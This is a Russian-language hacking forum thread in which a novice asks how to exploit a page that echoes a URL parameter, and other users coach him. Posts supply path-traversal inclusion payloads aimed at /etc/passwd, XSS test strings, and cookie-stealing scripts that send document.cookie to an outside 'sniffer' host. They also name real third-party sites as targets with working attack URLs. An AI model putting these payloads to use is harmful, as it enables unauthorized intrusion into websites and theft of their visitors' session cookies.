Xss?

[159932]

http://site.ru/nw/tmp.php?url=news.htm&title=privet

"privet" выводит на странице сайта ... чо с этим мона сделать ?

[dinar_007]

Xss

[AkyHa_MaTaTa]

Курнул с утра...,
http://site.ru/nw/tmp.php?url=news.htm&title=privet
http://site.ru/nw/tmp.php?url=../../../../../../etc/отдай_мои_пароли&title=privet

[dinar_007]

Not Found
The requested URL /nw/tmp.php was not found on this server.

Apache/1.3.37 Server at users.ins.ru Port 80
Он не дал ссылку на сайт... Он привёл пример. .

[159932]

а вот это "../../../../../.." что определяет ?

[AkyHa_MaTaTa]

путь, но есть там иклюд или нету, хз, я хотел сказать
../../../../../etc/passwd
ошибки не выдает?

[159932]

так я и не понил что означает ../../ и какое колво должно быть !?!?

[AkyHa_MaTaTa]

Ошибки какие нибудь выдает? Или просто пустая страница, или
404?

[159932]

Warning: include(news.hthm) [function.include]: failed to open stream: No such file or directory in /usr/hosting/u1/www/site/html/nw/tmp.php on line 228

Warning: include() [function.include]: Failed opening 'news.hthm' for inclusion (include_path='.:/u1/www/site/html') in /usr/hosting/u1/www/site/html/nw/tmp.php on line 228

вот ошибки

[Jes]

такие сайты еще есть ? :eek: :)

[159932]

зачем ещё !?!? мине хоть бы с этим разобраться

[NOmeR1]

Include, Xss. Всё, что тебе нужно, ты сможешь сделать с сайтом, если конечно права есть и фильтрации нет.

[scrat]

попробуй:

http://site.ru/nw/tmp.php?url=../../../../../../../../../etc/passwd%00&title=privet

[NOmeR1]

попробуй:

http://site.ru/nw/tmp.php?url=../../../../../../../../../etc/passwd%00&title=privet
Ну нахрен ему /etc/passwd? Он инклюд только первый раз видит. Тем более там ноль байтов не нужно.

[159932]

/etc/passwd не выводит ... а такой инклуд да я первый раз вижу ... я по скулю лучше

[Spyder]

там помойму ремоут инклуд =\

[Spyder]

ссылку дай лучше

[159932]

http://www.megaopt.spb.ru/nw/tmp.php?url=news.htm&title=1444

[freddi]

http://www.megaopt.spb.ru/nw/tmp.php?url=news.htm&title=<img src=javascript:alert()>

[159932]

http://www.megaopt.spb.ru/nw/tmp.php?url=news.htm&title=<img src=javascript:alert()>

это я и сам обнаружил - но я всё никак понять не могу что дальше ???

[ZAMUT]

это я и сам обнаружил - но я всё никак понять не могу что дальше ???
Это зависит от целей, которые ты преследуешь..

[159932]

Это зависит от целей, которые ты преследуешь..
а вообщем что это может дать ?

[ZAMUT]

а вообщем что это может дать ?
к примеру угон cookies

[159932]

к примеру угон cookies
а как это сделать ?

[Exlibris]

а как это сделать ?
<script>new image();img.src="http://site.ru/1.gif"+document.cookie;</script>

[Витян]

сайт.ру/reg/
форма регистрации, в поле логин <script>alert(document.cookie)</script> в поле пароль 123, подтверждение пароля 123, выскакивает алерт с куками PHPSESSID=ac84f8bec0d0771323b85b0fe22c8812; 143b1a11a2512f8f5c6cfee8402ead19=-; mosvisitor=1, если вписать <script>img = new Image(); img.src = "http://мой_сниффер.gif?"+document.cookie;</script> то ничо не происходит и на сниффер ничо не приходит...чо сделать? чо курить?

[it's my]

сайт.ру/reg/
форма регистрации, в поле логин <script>alert(document.cookie)</script> в поле пароль 123, подтверждение пароля 123, выскакивает алерт с куками PHPSESSID=ac84f8bec0d0771323b85b0fe22c8812; 143b1a11a2512f8f5c6cfee8402ead19=-; mosvisitor=1, если вписать <script>img = new Image(); img.src = "http://мой_сниффер.gif?"+document.cookie;</script> то ничо не происходит и на сниффер ничо не приходит...чо сделать? чо курить?
а тебе не приходила мысль, что, что бы поймать куки нужно, что бы кто-то другой данную операцию совершил =/

[krypt3r]

/etc/passwd не выводит ... а такой инклуд да я первый раз вижу ... я по скулю лучше
И не выведет, ибо SAFE MODE. Remote include тем более не прокатит, ибо настройки не позволяют. Можно инклудить лишь файлы того сайта+раскрытие директории

[Digital Cat]

Warning: include(cash/4.dat) [function.include]: failed to open stream: No such file or directory in /home/us1958/horse.ru/www/forum/include/footer.php on line 74

If you beleive that this error is due to the server configuration problems please contact your local web-hosting support team.

Ммм... Сейчас попробую помучиться сама, вот насколько это перспективно?

http://www.horse.ru/forum/search.php?f=4
Но на сайте таких - завалиться..

[Digital Cat]

http://www.horse.ru/forum/search.php?f=../%20&title=666666
Усе, застряла(((
Люди, что это вообще за хрень? :-/
Все-таки XSS?((

[Petr]

Вселенское зло воцарилось в этой теме...